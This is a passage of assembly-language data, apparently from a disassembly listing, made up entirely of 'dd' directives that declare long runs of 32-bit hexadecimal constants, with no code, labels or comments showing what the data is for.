		dd 0E27D688Bh, 1F792596h, 4B9B5EA5h, 95D414F5h,	53BF83C6h
		dd 1AE96113h, 0D5B193E4h, 29838DA2h, 0AE35DEAh,	99E91D16h
		dd 0FBD303ACh, 883B9B79h, 2248DBFFh, 8E053914h,	0E567A477h
		dd 7032DD0h, 1DCE65E9h,	0CDA60440h, 2B302333h, 0CEB2D0A0h
		dd 0DD4F2668h, 4D0DD3C6h, 3A5A043Fh, 20A98B08h,	0BABD804Bh
		dd 0A07473E7h, 0EAFEAD3h, 2D069342h, 10440F23h,	85977848h
		dd 0E1F91497h, 463CFB97h, 0CA55FCE9h, 1DDEB13h,	47EC7903h
		dd 548D485Dh, 0B0558740h, 0A4296BB1h, 0FF7A257Ah, 87F60726h
		dd 7E50DA53h, 0E65E131Fh, 2E7B1218h, 4B138BAAh,	0EFC74FA4h
		dd 2BB8D97Bh, 0C58B8274h, 3915028h, 32B22EEDh, 0B58E9B8h
		dd 9539208Ch, 0A0B8DCE3h, 732E1E96h, 9F096031h,	544C98E8h
		dd 10B58E5Fh, 5EBA6816h, 710F8C07h, 0BEED7C62h,	0B1819423h
		dd 4879A483h, 0FD530AA0h, 0F2C25896h, 52D4880h,	571C78B6h
		dd 0BB83FE31h, 881A4E45h, 0DC60652Ch, 6ED6F643h, 0E0735A5Dh
		dd 105D4338h, 59C62E3Ah, 0EE08CD4Ah, 0FB688502h, 2A95A33Bh
		dd 5F5DD33Dh, 7A0C9FE1h, 9E3676Fh, 67ED3848h, 10861077h
		dd 18892444h, 5DA895Ch,	0BC9B03AAh, 0BE79A197h,	3B30D839h
		dd 3A333838h, 2CF54FF9h, 0F45E2924h, 0C809AF4h,	5A667EC3h
		dd 3025670Ah, 0F4B19ADDh, 2E462761h, 53600594h,	4BB0B6B7h
		dd 0E9C204ABh, 52B6A08Ah, 0F495E7F8h, 0AD2175Ch, 139F249Ch
		dd 97E8FD5Dh, 173C65AAh, 0A59EBC11h, 0A817EB80h, 0D15D1875h
		dd 0CD8104E5h, 1F0CD614h, 0A417FB4h, 0E6968489h, 79655348h
		dd 29010216h, 5F08BB50h, 4ADC0BB4h, 31EB4B38h, 0F15FB5C2h
		dd 0BE5C45E8h, 0F1FF4F23h
		dd 57E26187h, 48DF7112h, 785E555Dh, 84A205Dh, 429FBCFAh
		dd 0F6735F37h, 75402632h, 0DC2DBA51h, 0BC8F6935h, 6A08FD0Dh
		dd 950CCC36h, 0AF9361F3h, 99C44184h, 317C6DFAh,	0DE51FCA7h
		dd 6094624Ah, 0AEE90802h, 0C368744Fh, 0C5187133h, 88620C0Bh
		dd 3D5873E7h, 91F0873Ch, 21D61376h, 29309166h, 31CE0124h
		dd 0C12D8513h, 0A47E9221h, 0E2B78297h, 0B56D55A2h, 8BC5EA5h
		dd 0BE1A91F0h, 0EE2C6123h, 0EE7C66Eh, 0E8BC59BFh, 27D92DEEh
		dd 0CA13C9E8h, 65B06A41h, 9B3005B5h, 0E907965Bh, 4C4D16DCh
		dd 0A416E83Bh, 0C1BB3A64h, 0A50E9EAEh, 0BB9BDC12h, 0EB7E12CFh
		dd 0B6673B2Ch, 0FDB00196h, 0C1C0EB80h, 0BC16F0C3h, 66F648ACh
		dd 0BAB4635Fh, 0B9FC40DFh, 48410152h, 16BF045Ch, 84AE549Ch
		dd 9EDD8004h, 1E4F5A31h, 0D135EB80h, 505B0B2Ch,	1AC6C589h
		dd 0F1534DA9h, 5BDFF8CBh, 0F9215917h, 58D31292h, 1F515BDBh
		dd 9768C4ADh, 31D68D46h, 5E2CC283h, 0CD292558h,	0DD355378h
		dd 4CE43E06h, 898B935Bh, 45F55DEBh, 90DC09A6h, 1435E910h
		dd 9A3E3C3Dh, 5D4E4112h, 2595D688h, 2DB93655h, 59563FF5h
		dd 3FDFA7Ah, 79293621h,	0A9817E2Dh, 5D0DC6Eh, 21E907A0h
		dd 3025F74Eh, 64C10100h, 1814A91h, 5361E2E1h, 6513E97Ch
		dd 8C037BE5h, 0B0487877h, 9B3CAEFh, 0EEE9E8ACh,	0C0B5E250h
		dd 67C7295Ah, 91E72258h, 295E2C1Ah, 0DB58456h, 44D70713h
		dd 5E4EA60Fh, 8D49D51Eh, 34B9406Dh, 0F3E7C013h,	1AEE2CAFh
		dd 390ACCB0h, 0D030F873h, 0BA14C400h, 120C0560h, 0FEB32D0Eh
		dd 821E4712h, 113E7EFh,	2DE95366h, 80D68117h, 0E6883DECh
		dd 163F155Dh, 0E4E7F9B0h, 246894A4h, 8C6F1145h,	0C5BB308Eh
		dd 53165B09h, 7028FF1Dh, 0E07C2508h, 7AC615Ah, 1821D40h
		dd 0CAF44CB6h, 926ED025h, 124F398h, 410DD452h, 9040CC15h
		dd 21668B1h, 5E2C179h, 4057EA83h, 9A5C8F2h, 0D38912E1h
		dd 315E6DE6h, 8FE00EC7h, 0EC113248h, 24BD3CF1h,	0CA091586h
		dd 0D7984D59h, 2E687F40h, 0C30F6CA8h, 104B8AB1h, 23D676F3h
		dd 17A8BF6Fh, 0E912669Dh, 73C87DB3h, 0ED2699Eh,	53808D6Fh
		dd 0E9EC8850h, 0AC62951Ah, 6B44EBD6h, 0E74AE8FCh, 0B59A50D0h
		dd 59D8E545h, 26292514h, 8A0F776h, 5F480CC0h, 2DE92C0Bh
		dd 0D9C872FDh, 1FB63B9Eh, 5B5DB8E0h, 0BC6250F1h, 0E34112C4h
		dd 21B31320h, 2E26C322h, 0E2521974h, 12177B08h,	0A78FF858h
		dd 0EE841CF5h, 68A198BBh, 8856B90Ah, 0E10BC926h, 5301D506h
		dd 409D14FAh, 8F39E9E4h, 804348C9h, 0A0E24D3Fh,	48E3F86Bh
		dd 0E8D6F647h, 3F854DC5h, 4023A555h, 773BB2Ah, 0D16B6D48h
		dd 0FE3FC2EBh, 7CBC04F6h, 7F07750Ch, 0F79E1C01h, 0BED0E64h
		dd 41DA6803h, 3A8209F9h, 7D396A51h, 35A65F30h, 5D0D5826h
		dd 56671502h, 61B0C02Eh, 48191F2Ah, 1011383h, 0DE3EA2FDh
		dd 27536012h, 62995212h, 0AC89F901h, 0F4258636h, 4FF0FC2Fh
		dd 0EA0277A8h, 27BF428Ch, 0BE3A5641h, 827640E0h, 60EFC4FDh
		dd 79BB1C1Eh, 414C7E1Ah, 0BB8D3F7Fh, 129077BFh,	9505C617h
		dd 44CB620Ch, 0BB574011h, 10524B12h, 75C39D09h,	684891Eh
		dd 0C67609Fh, 61509C5Bh, 92478F5Eh, 0EA87F08Eh,	4075C99Eh
		dd 50D6F7C1h, 267A8446h, 1D907F32h, 2CCD02EEh, 87C00137h
		dd 4B6348Bh, 0DCECB75Eh, 0B5BACC95h, 0BD2E1E59h, 0D5E5840h
		dd 67E1FC16h, 0FE5B4ADFh, 0CA6B5DEEh, 0EF81D645h, 1275E57h
		dd 9CDBE03Bh, 0D5E7CF4Fh, 38685705h, 1013E365h,	0BD029E5Ch
		dd 704651E8h, 28907E63h, 0E9160C45h, 2DAFDB5Ah,	36F12E42h
		dd 0AD6BE29h, 28EE352Dh, 0C0594872h, 5029EAB5h,	2992F62Fh
		dd 0F22A8649h, 45732907h, 7156355Fh, 4709120Ah,	0D45A921Ch
		dd 582ED250h, 9D1F4435h, 268F2501h, 60D448F5h, 171FEA6Bh
		dd 8101FC2Dh, 34AE0E6Bh, 2A5A8CA4h, 1B1293A3h, 0F586B4D8h
		dd 43B0200h, 9C356A2Dh,	6F62BF25h, 0AC5D0705h, 0EDE90971h
		dd 0DB1AD747h, 5B23CB7Dh, 949BFCFCh, 0F6DA17F5h, 12629AA4h
		dd 0EC05203Bh, 0BA3F5091h, 0B65D2840h, 0E6810082h, 40BB0B9Ch
		dd 0E32F9AB0h, 5064F680h, 7C1695BDh, 0E802278Ch, 0E00A1FE9h
		dd 0D65060BFh, 85CDB497h, 0B5122160h, 17C580C0h, 0F8D5F630h
		dd 28CA1E55h, 5AC1BD60h, 0B50E2052h, 40E830D7h,	0BEC005B0h
		dd 0BA005B8h, 0AC267FD9h, 79E03709h, 807CF754h,	0A32C0B56h
		dd 0D43BCF12h, 3302ED82h, 17D1360h, 23C42FDh, 9A5B5F08h
		dd 6062DE26h, 17F0701Ch, 820EAB1h, 139A689Dh, 840E9511h
		dd 0BA9EACBh, 82F0B6DFh, 0FCD72ABDh, 88183624h,	1658C925h
		dd 9005AD66h, 0AE500BC1h, 0D15230E7h, 66D3EA07h, 9672CE29h
		dd 9C16CF1h, 3B0E1886h,	6417A9D7h, 20329A57h, 569F1F2Ch
		dd 315ACF53h, 60727B40h, 2C89479Ch, 3F5271A0h, 1CBBAC10h
		dd 14AEF988h, 0D3135B1Ch, 9F72BFAh, 0DEB746E9h,	2D4E87Dh
		dd 675637DDh, 89AA8F5h,	0B14FE906h, 54B60526h, 0AF75F680h
		dd 10022E4Dh, 7EF708FCh, 36C73C5Ah, 0C33EF9Bh, 90C3AEBCh
		dd 55B132A8h, 7D0A524Ch, 3C1D9C3Eh, 0D0907725h,	6FB16B17h
		dd 8739402Ch, 796775C6h, 7163CD60h, 9845F0EAh, 47B00996h
		dd 9E5C212Ah, 0B264E228h, 0F283F6CFh, 0C9B8EC1Ah, 1B6ABE18h
		dd 7A773DC7h, 3419D8C2h, 34F97D01h, 7427F63h, 0E0C1D09Bh
		dd 0A528A303h, 0F0291418h, 825C5070h, 815881D7h, 0D720AFE3h
		dd 0F3464A04h, 0E6C72D65h, 0D2311609h, 9D8CA56h, 591A1D68h
		dd 0F1D4C9FBh, 0F7781484h, 188FF890h, 21630162h, 0D3E95FFBh
		dd 3B562FFCh, 1FF464AFh, 51D3413Eh, 971142E9h, 75ACDEC9h
		dd 7E5F7E7Ch, 0D280FA54h, 0C52DA2A9h, 8CAFF7B5h, 849DF5B0h
		dd 0D1EB5AB3h, 8A74379Ch, 87DAF713h, 4533D00Bh,	3AC308A8h
		dd 6F396805h, 15A69CBEh, 0F52C0144h, 0B0864F6Dh, 9BFBF9Ah
		dd 83805F49h, 1ADC504Bh, 26420CDDh, 0FF592A17h,	0CA41A56Ch
		dd 81E9CA13h, 755D012Bh, 24E8D6Eh, 2D007F88h, 75F12B30h
		dd 15AFC60h, 26055035h,	9EBDDBEDh, 375C4176h, 70E6E945h
		dd 77217962h, 0E91A0752h, 0FD168358h, 0DDA055C7h, 49AF45BDh
		dd 0A2546C7Ah, 0F72E5DF2h, 0F21066D5h, 0C479D44Ah, 4F76EC96h
		dd 0AAA471ADh, 0D54808F2h, 0BB038B49h, 4FCD3396h, 0EB2862D1h
		dd 0B4C2EC84h, 53C9B401h, 0A13E2746h, 4817A772h, 81D2159Eh
		dd 3CF06B58h, 27F94654h, 0DF6A4249h, 7F3F30C5h,	0F3A836BCh
		dd 45E5D11Eh, 133FADCEh, 0D74B5DE6h, 0B814F451h, 0B850009Eh
		dd 187A0C3Dh, 3E340005h, 0E8C14170h, 0D7002506h, 2D5B5524h
		dd 0B0451FFDh, 0AAB259Eh, 0FB823EA2h, 0F173735Eh, 1D81C7A0h
		dd 40A206C5h, 2FB52E09h, 0F4D9E26Ah, 5FC532FFh,	0DE954FE6h
		dd 97F26B66h, 5750EF92h, 0BB806EA7h, 0D475013Ch, 3B04BA1Ah
		dd 0DA4D707Bh, 550B0C91h, 0B50E6472h, 0C2E68B25h, 20D56A85h
		dd 1833C823h, 31590558h, 824B205Fh, 80007C12h, 393025C2h
		dd 0F8A55AD7h, 88493AD5h, 0E2AFB62Eh, 0B1A64522h, 632A2BB2h
		dd 831E4F61h, 0B7C4C8h,	8049B252h, 0FE3A4CEAh, 0D4E286C2h
		dd 980D2F6h, 316FE9B4h,	0C1F1CBE4h, 58E66232h, 24BC94A7h
		dd 766C6942h, 62B28093h, 5A5ED5E0h, 0BFD9461Fh,	0F5480D54h
		dd 0A4EA5AFAh, 96BEDDC3h, 260B6805h, 0C89FC7F9h, 402DB644h
		dd 970931Ch, 0C2013659h, 0F8961684h, 0CF68C271h, 0F06E660Eh
		dd 0E71F4898h, 6CB505D6h
		dd 8252AC80h, 4370F930h, 44A5EA24h, 6FC20631h, 0C4D9E10h
		dd 72F81C09h, 382D5EB4h, 21FFE0DFh, 0B53EE848h,	532A8CBFh
		dd 48173B7h, 0AECD12E9h, 0B2353C52h, 294A38EAh,	100A621Fh
		dd 47AEEF81h, 0FB20689Ch, 0D53E0288h, 59CF093Ch, 53B740D5h
		dd 482301BBh, 0DF211FD8h, 0BE9685Bh, 40AA51E1h,	2FF98953h
		dd 0BCEA1EE9h, 0D625A77Eh, 4FCC8A3Bh, 0BBBE609Ch, 2B50496Eh
		dd 911747F8h, 52FED4B6h, 22FBFFDh, 9604F85Fh, 0CAB13A40h
		dd 1D66CE28h, 8EB22C59h, 5A8E04F0h, 0E1B31B6Eh,	0FFA7F708h
		dd 0C0F1E902h, 0DFDA7C74h, 6CB6F116h, 60368D63h, 2231B435h
		dd 83F82D51h, 0F518C969h, 111434B9h, 5A01E6BDh,	2B694Ah
		dd 521C25E2h, 96F7E963h, 0C1300BE4h, 4DD287D7h,	2805C330h
		dd 6010DDCBh, 8DC59F6h,	3FB0D4EDh, 1A1068C8h, 665E176Ch
		dd 0A674E8ECh, 0E08EA1ADh, 0AC9D1D2Ah, 0EC9D5448h, 0BB6816E9h
		dd 0EEEBD91Eh, 12422D30h, 0C4412545h, 5D0701B0h, 38BA08E9h
		dd 0EDCEA3E8h, 0E45AC5E9h, 0C15B959Dh, 0F862F531h, 737410ADh
		dd 978B9F78h, 7749A451h, 5360EF02h, 925D26ABh, 1EB477Ch
		dd 6547F3EDh, 0FAF5F04Fh, 3FC8DD03h, 324E38E9h,	0F4AED055h
		dd 67DFBF00h, 680C160Bh, 0F5DBC75Bh, 2D639077h,	7D7142D9h
		dd 56BE18F4h, 3D209E26h, 704A61F6h, 49176DCCh, 0F081D06Ah
		dd 2B22325Eh, 32602A2h,	50F6022Ah, 0C35E36BEh, 62F78100h
		dd 955B6B68h, 2D0C2DD6h, 79D9A3C2h, 4F1D2F0Dh, 0C5750402h
		dd 96EF409h, 2E76E579h,	1D07B9E0h, 810F013Ch, 0B6E77C9h
		dd 0F8E1D929h, 284BAE49h, 0B60B7CACh, 360BD7D1h, 8E2739FDh
		dd 25411F6Eh, 75A59945h, 0C41622B2h, 9F3F119Dh,	723D416Eh
		dd 226C12AFh, 0C8DDDC01h, 8521C553h, 162E8BE9h,	38F3ADFEh
		dd 6825AE1h, 0B182FDC8h, 0C47728DAh, 5B1AB535h,	0FEC34354h
		dd 412F9AC0h, 236C439Ah, 521BC4Ah, 8567A69h, 8704FAE9h
		dd 0BF0DBE5Ah, 6C14625Fh, 0E959870Ch, 30E457DEh, 0F6D840BBh
		dd 0B3929396h, 512D8AE8h, 40B1D6E5h, 3102F61Eh,	942D0B60h
		dd 2A190B14h, 26497FC2h, 89C54C41h, 0A247F837h,	60DF40C4h
		dd 6C9C2736h, 300BBB5Ch, 0F8E16857h, 95C1783Ch,	0A8827074h
		dd 0DE2FDF6Ah, 75B13BDh, 51BA521Fh, 3051995Ah, 6B14E457h
		dd 5F8766ADh, 87D1C421h, 3167379h, 77A90142h, 6EE57584h
		dd 914FE0F2h, 0EE1369E9h, 461E5712h, 2BA6EC95h,	5D585C8h
		dd 0AA675F68h, 0D710E63Dh, 2DDD60F1h, 87448948h, 47823B26h
		dd 79F6B053h, 64A8174Ah, 0EC0BAEF7h, 314CA11Dh,	0B93A58C3h
		dd 89A86053h, 0BA18D34Bh, 49662016h, 84593E96h,	22C136Ah
		dd 21D368DCh, 0EBB66146h, 0E9EE4825h, 3996612Fh, 0E59F04D0h
		dd 0ADE280Ah, 764C8D68h, 20FA5292h, 9F0D58ADh, 36166803h
		dd 40D0F7h, 0D1723BFAh,	2587E949h, 4AF5B9C0h, 97FE6F7Eh
		dd 749F3C50h, 4C55C9E7h, 0BAE97A4Eh, 67BF072Bh,	0C450601Eh
		dd 0E835C2FDh, 9FD0FFABh, 262C1705h, 218D1F7h, 17A27318h
		dd 50187D4h, 0ABE3E928h, 0F658BE09h, 0F72BD2D5h, 0C15AB45Ah
		dd 29EB86C5h, 1A5F42B2h, 0D8B74CDBh, 9D35CCDFh,	4E400AE2h
		dd 3AE9207Fh, 6227DD37h, 7C41415Dh, 3E1CC02h, 0E60E3698h
		dd 0DF2A2426h, 0C948F904h, 49627387h, 16F7C68Dh, 0EADE5933h
		dd 705F100Bh, 7BBE00E6h, 0BF535273h, 670B54EAh,	5FF73125h
		dd 0B07D8F25h, 5577560Ah, 989510E4h, 10515A7Ch,	5040A768h
		dd 67945E35h, 180DCF8Bh, 0F3315963h, 8A9F9C9h, 0ADD7C638h
		dd 0A4E0659Fh, 26487330h, 8F78F1C3h, 13C7C210h,	43115B2Ch
		dd 0DA35FE00h, 0D2D5F72Eh, 25A3E804h, 4129D445h, 2105CBCFh
		dd 42C70116h, 0A5D27C16h, 0AB868D0Ch, 0CEB02F50h, 0DB644DD4h
		dd 8532A2BAh, 90A813E9h, 0E8545712h, 6C52C959h,	0CC51FB64h
		dd 0C970F280h, 345A1ED0h, 1CC11209h, 5366C7B2h,	6326FB7h
		dd 1CF92806h, 635BF1EBh, 26011C29h, 0C1500FACh,	2F187FE8h
		dd 38470CCDh, 540BA528h, 556E3Eh, 451B77A1h, 1C339016h
		dd 0C29B0D19h, 0AAE9CB09h, 3ED2C5C4h, 4F2D8EBCh, 295BC9C0h
		dd 82E5E59Fh, 0F363E956h, 73095EE4h, 506EDE78h,	4010202Ah
		dd 2E708948h, 0A04FBE6Bh, 34823E91h, 9E7A9149h,	593B89EDh
		dd 0E3EDA2Ah, 0CA52882Fh, 6856001Ch, 74431419h,	6A58BF5Eh
		dd 0C6F80A24h, 6C420713h, 771FA168h, 0C1AD4B47h, 0BC2F3F2Ah
		dd 2B5E760Ch, 680A0F8Ah, 972273CAh, 0ED04FE50h,	1214E7ACh
		dd 51B0680Ah, 38B58112h, 43BCF580h, 0EFB1EDEBh,	0CFE7E416h
		dd 75CC073h, 0F6900F08h, 4CF7C2D7h, 0B4B96020h,	4015B42Dh
		dd 25856853h, 5B5EB500h, 0D14BDBF7h, 0C38102EBh, 0AF5A92C7h
		dd 63545EC2h, 3992531Dh, 59B9F880h, 745B3D65h, 14FAE118h
		dd 6F051CBBh, 0D3314098h, 0EFA2BF0Dh, 2DD320h, 526164D7h
		dd 5B4D3405h, 11F67F75h, 5069293Dh, 71E762C2h, 0A2072F87h
		dd 11C393BAh, 5B14D179h, 7B373965h, 0FF5C6813h,	35940860h
		dd 5215C76h, 0CA51A504h, 3F88EA2Fh, 0A08F5E97h,	0C209C67Dh
		dd 5006AA67h, 77014FDBh, 0D2CCC45Eh, 215F09B9h,	0B850080Ah
		dd 7E597CD0h, 8118C169h, 0F9344FF2h, 53A16A25h,	433FD2Ah
		dd 0EC57E946h, 3EDCCDAFh, 0E1D8A922h, 0E7E45D34h, 0CA197574h
		dd 3E070514h, 8D026B05h, 469EFF61h, 1BB96809h, 1D13A1Ah
		dd 0B6AFC08h, 8EF70C2Ch, 4D0996EEh, 0F7C9A90Eh,	30581F82h
		dd 0FEE8C47Fh, 0FB1CB292h, 2F91DC81h, 715E0D5Fh, 0AD80EA7Bh
		dd 0CF1CCA88h, 0E24DE92Dh, 0EC33F712h, 817D3EE1h, 3C1AC1A9h
		dd 0FC3A6E4Ch, 0CF29848Ch, 5A9CE3A4h, 828827FEh, 30D43760h
		dd 7F46EA6Bh, 28E5A296h, 21AAD668h, 3C1C8BE5h, 1B5F86D7h
		dd 0F8282AA6h, 51EA3074h, 2666C2A5h, 321C33Bh, 0D7345CAh
		dd 0AF180B4Ch, 4B8CF2BEh, 0F52568FCh, 675E9823h, 6E300057h
		dd 6A26E781h, 7E9023A9h, 0F6971F70h, 82E9F838h,	1D395F5Dh
		dd 68C002F2h, 1C95F781h, 29382EE2h, 0E0068D3Fh,	528A3E26h
		dd 1384A35Ah, 64BADF06h, 9BD6070Bh, 0FB318408h,	5AF551C5h
		dd 0D65F0B02h, 7147256Ch, 4297E98Bh, 4F00FE60h,	56252148h
		dd 73577AA6h, 37F8A759h, 0FE032127h, 0F8F542FAh, 42EEDD09h
		dd 1F16FCF3h, 0D3306AEFh, 990F6468h, 0BD54B05Fh, 4D014207h
		dd 0E557AE25h, 802A4047h, 2B650D36h, 835DD404h,	35C0FFE8h
		dd 2490739Ch, 8BE75A50h, 96614A03h, 9A337AC4h, 0E0035AFFh
		dd 20BF62F8h, 7DD3C346h, 292A3BB5h, 8EB5078h, 0E97AA058h
		dd 0EDBBD359h, 7BC60784h, 1AD313EBh, 5E8CEC2Ah,	0FB6C1349h
		dd 0CE2CFF07h, 800853B5h, 250FBE3Ah, 81A61D3Dh,	313B1A14h
		dd 2B7AAEEFh, 63446884h, 0FCB18D8Ch, 5DCF6928h,	1E3485FEh
		dd 89B5E2BAh, 0F68F2B9Ah, 0C4596508h, 0CD17D9D1h, 4313E8E2h
		dd 9D667BDh, 29D6585Eh,	0D6608952h, 0AFE958E1h,	2EB8DD4Bh
		dd 1BCCC680h, 0DC9506B3h, 0C8F30B7Ah, 2EC59711h, 0B7A5C57Dh
		dd 0A0C68DEh, 90D67F48h, 0E2E84E8Bh, 8B5ADF4Fh,	6FD85D0Bh
		dd 0D572030Fh, 703DA920h, 3440768Eh, 0E22732A4h, 20CF4CADh
		dd 0CF8117FAh, 0D967F1DDh, 702BFCEFh, 3164E9EEh, 8BBF5B39h
		dd 0D8FF25E8h, 6F47B7F2h, 665D71A7h, 680B53A5h,	899160EAh
		dd 5AE83DDh, 13114EEFh,	0E1A21710h, 68E42F21h, 2024BF71h
		dd 90DFFAE1h, 8C3BE97Fh, 3014EADFh, 12AD48B9h, 32FA9C47h
		dd 5DE84C46h, 7BFEDF31h
		dd 0B90E15BAh, 0FE7516E2h, 148E8C8Dh, 5CB0676Eh, 89B5F83Eh
		dd 0E4E1D58Ah, 60A8FDAh, 670B0181h, 456803EEh, 615ED638h
		dd 6E1CA34Fh, 5287EEB6h, 0CA02C168h, 0F21F7034h, 90BC6EB5h
		dd 59C028Dh, 0DA297B78h, 0A5A5F177h, 1020E0DEh,	0D4BE5602h
		dd 4B55EC39h, 0D30FF4Fh, 4E91EA89h, 428D9C01h, 7B38DC56h
		dd 0EECE6170h, 4885C55Dh, 1996A4F3h, 801F318Dh,	4FA2BE47h
		dd 0E81477Eh, 3854E8F6h, 1CFAE947h, 0CDEF56EDh,	5B9A67D9h
		dd 85B57AA8h, 78798185h, 985CBAE0h, 880ADBECh, 528E96E5h
		dd 57D785Dh, 0B35355C5h, 0B887EF4Eh, 6166DF22h,	0B2EA0D4h
		dd 1A88B27Ah, 76F808D6h, 76895A13h, 95241C20h, 98DBC798h
		dd 92D4880h, 53CFDF23h,	0FBC289FDh, 0AC60DFAh, 0A82C243h
		dd 4023435h, 0AD065755h, 5A03D164h, 0EC80F428h,	4BC4999Ch
		dd 0DE288E4h, 68C2FE58h, 514310B4h, 0E91CF9B5h,	5A3810D4h
		dd 143ED129h, 48000074h, 92BD51Ch, 0E328E9F1h, 0CEB7E60Ah
		dd 6C22B5E6h, 1058339h,	77961490h, 2668E4B6h, 69470E3Bh
		dd 0A5B3680h, 1B975A32h, 0B372097Ch, 0A028711h,	0F702DA91h
		dd 2A3D40D6h, 90082D82h, 219752FBh, 7D56E332h, 0C8179670h
		dd 5AEC8D2Bh, 1C619D04h, 96C9FA50h, 264A51E8h, 1975691h
		dd 68E9555Ah, 698C2E1Ch, 0C188AA65h, 0BE0029CDh, 39240145h
		dd 47184A7Fh, 2EE9570Dh, 0A717EE5Bh, 64007BCCh,	48463C3Ah
		dd 27C5A105h, 0C7C0B9C3h, 5A498E68h, 6294840Eh,	50FFB16h
		dd 755524BFh, 7B610391h, 0C4B81650h, 72C0C5Eh, 0E903FF05h
		dd 24A82F32h, 5F87B29h,	0A842CF68h, 17FDC441h, 0E4804F09h
		dd 267F603Dh, 4D09C1B8h, 8082E2E4h, 6D487204h, 0BC295B71h
		dd 10841BFh, 41D7CCEh, 84E981EBh, 0F58100DFh, 5119135Bh
		dd 2B44BEDDh, 38F36964h, 80074D2Eh, 0A0685651h,	2D25FE73h
		dd 6273625Eh, 0A1DF008Bh, 60676336h, 38098A4Ah,	61EF0C16h
		dd 0F6167A41h, 67C4268Ah, 0CB5B0EBFh, 972AF06Ch, 51B51D34h
		dd 0B3E941BAh, 1CC86EF3h, 35ECE144h, 535E05A6h,	0D0D0E978h
		dd 2D7BB0Ch, 510C3E26h,	61BE3D16h, 25A15730h, 0A4803E65h
		dd 64202FB1h, 16652C0Ah, 0C1053BB9h, 1FD12DC4h,	0A372FC92h
		dd 960C0508h, 4074D0Ah,	18D9E8ACh, 246B4C9Ah, 10C12C58h
		dd 24FD5A46h, 1FD97810h, 0E88F4EB8h, 0FC244441h, 14A05694h
		dd 0D17EF368h, 3C4CAC7Ah, 28069376h, 551D0D78h,	86CE56Ch
		dd 0B2E2B69Bh, 7BB79550h, 674E0956h, 83D932DDh,	4E030EB2h
		dd 6F44FA0Ch, 0ACBDEA1Eh, 0C2EAED7h, 53603C17h,	0F9D20BBDh
		dd 0C705E1DAh, 4A95D164h, 0BE4B16BFh, 9BEB6B65h, 128E4011h
		dd 664F1391h, 9CD07B5h,	1DA52D2Eh, 0E92C18DFh, 0B2D7D821h
		dd 95276A40h, 0A28FD7F6h, 3A1A4942h, 0DEA6CADDh, 2BE9F080h
		dd 0C11DDE5Ch, 3D56685Bh, 0B9838C2Bh, 0C28ACF53h, 5EB7685Ch
		dd 0AF12D04h, 4AFDE951h, 98024242h, 82C1727Ah, 83AE435Fh
		dd 0D5098778h, 0E9868DEDh, 7179793h, 0EB3F75C6h, 412DB274h
		dd 0A6ACC6F3h, 0B8E5C42h, 0B198305Ah, 974D863Eh, 29EB979Fh
		dd 608F0D3h, 4BF927F5h,	5D68C142h, 51447643h, 0DE1C823Ch
		dd 7F05CD4Ah, 17BB5280h, 19901481h, 0CBF2CB7h, 32824CEh
		dd 9F712C1h, 8F87D5AFh,	4C4A102Dh, 22EC7BD2h, 7E391F2Fh
		dd 0E3D51252h, 0B0E1D260h, 9E2BDB60h, 0E2EF5854h, 0B9DB2981h
		dd 0CC2AC3B4h, 0EA985AFCh, 8B4E5FC9h, 52620E90h, 0CDB60180h
		dd 73F54C28h, 68135E20h, 0F46179BFh, 4203712Dh,	0F68888B6h
		dd 0A6ECFFEDh, 2B606B4Eh, 9412E73h, 574FE958h, 18E34268h
		dd 4E7C1F16h, 0F3979587h, 5D7A5C50h, 0E9DD0831h, 0F60E1188h
		dd 59CCC5D1h, 80CFC5BFh, 4AE9E445h, 0E9475CB5h,	0B5CF205h
		dd 3A5609F8h, 0DF0A2A89h, 58C94B1Bh, 7B2D00ACh,	0B60D4A1Ch
		dd 9FF85F5Eh, 0C43768A9h, 77E36585h, 0CC5D5C12h, 12121E90h
		dd 0D0011B1h, 1A2A1D51h, 4CE4B552h, 1CC50126h, 31760438h
		dd 0A7BA5828h, 2EFC4EFAh, 0D23A04F4h, 6DDEF30h,	88511D84h
		dd 811DBEC1h, 0D5BFD4Fh, 0E9E4EFEFh, 0B6825B53h, 60811C4Dh
		dd 0CA04F4FFh, 1B8C4820h, 5E69C680h, 0E940517Bh, 204F0E62h
		dd 532A36D9h, 62553B0h,	62DAF1B6h, 0D5E64A2h, 0F42A8669h
		dd 0CF85BD46h, 53C093D5h, 2227C179h, 8515185h, 310B4EF9h
		dd 30FC5AC7h, 0B342F7F2h, 0EB39809Dh, 5ECB9908h, 12858D06h
		dd 0AD1FE915h, 40FD25F0h, 4A685F5Dh, 0BD898C01h, 13464102h
		dd 0C3EB2945h, 863C284h, 14033C84h, 0D2F70591h,	3EB6A5E9h
		dd 802CC468h, 59807E62h, 1F36BA42h, 9CA2814h, 0FD89D531h
		dd 0EC2DD641h, 2B038206h, 791A4105h, 0CE8A819h,	12F0A29h
		dd 24072DD8h, 0D47AE5A4h, 189AEB95h, 0EC105F4Ch, 0FE680CF4h
		dd 410C3B0Ah, 0A8AC3AC5h, 0F7665C80h, 132D68E1h, 2087C667h
		dd 52A0EF3Ch, 0EB2F01D0h, 5BCDFE03h, 4A0C2052h,	461D32A8h
		dd 37D66DAh, 42B0081Ah,	323EE7B0h, 352D672Eh, 973BF610h
		dd 60A92312h, 0FE20EE9Bh, 54271E7Dh, 9E3120AAh,	9750A978h
		dd 8767B3E0h, 70AF562Dh, 756330FBh, 45C1CEA9h, 55586E25h
		dd 37FC8300h, 89B53FF7h, 0A57AC70Fh, 0A89BAE5Dh, 0C8310BD5h
		dd 4AF3984h, 0B6EBF121h, 270739F5h, 0CFE330C6h,	0F56C9D6Fh
		dd 0E221DEBBh, 0ED6CC88h, 0DFEF72B4h, 0A5B2A833h, 0D64ACF82h
		dd 61824984h, 40004CECh, 26716335h, 3424107Ah, 6B1AE18Ch
		dd 24E9003Ch, 890FF5AEh, 83F06BB5h, 13FAD8E0h, 905E340h
		dd 7754278Fh, 0EADBEF84h, 1B822DCh, 683A6544h, 0D825D0F7h
		dd 83D1167h, 6AC2D5E9h,	516F10C2h, 7DBE02DFh, 8BE00AC0h
		dd 51250466h, 403F544Fh, 327E1317h, 525E3D4h, 72CFA451h
		dd 0FAD485BAh, 4209AC9h, 705997F7h, 0DAB56C4h, 218549BCh
		dd 4ACA2BFFh, 214E15Ah,	6801D8A2h, 0E8264C22h, 565EE982h
		dd 844F247Dh, 2561EED9h, 0FB71176Ah, 5FFE6479h,	0E129E06Eh
		dd 250D249Ah, 0B1106506h, 3F0E3E68h, 0AB35221Ch, 0F639FE65h
		dd 1808A6h, 16AA4DEBh, 0E4A68E9h, 3E53500h, 9078A55Fh
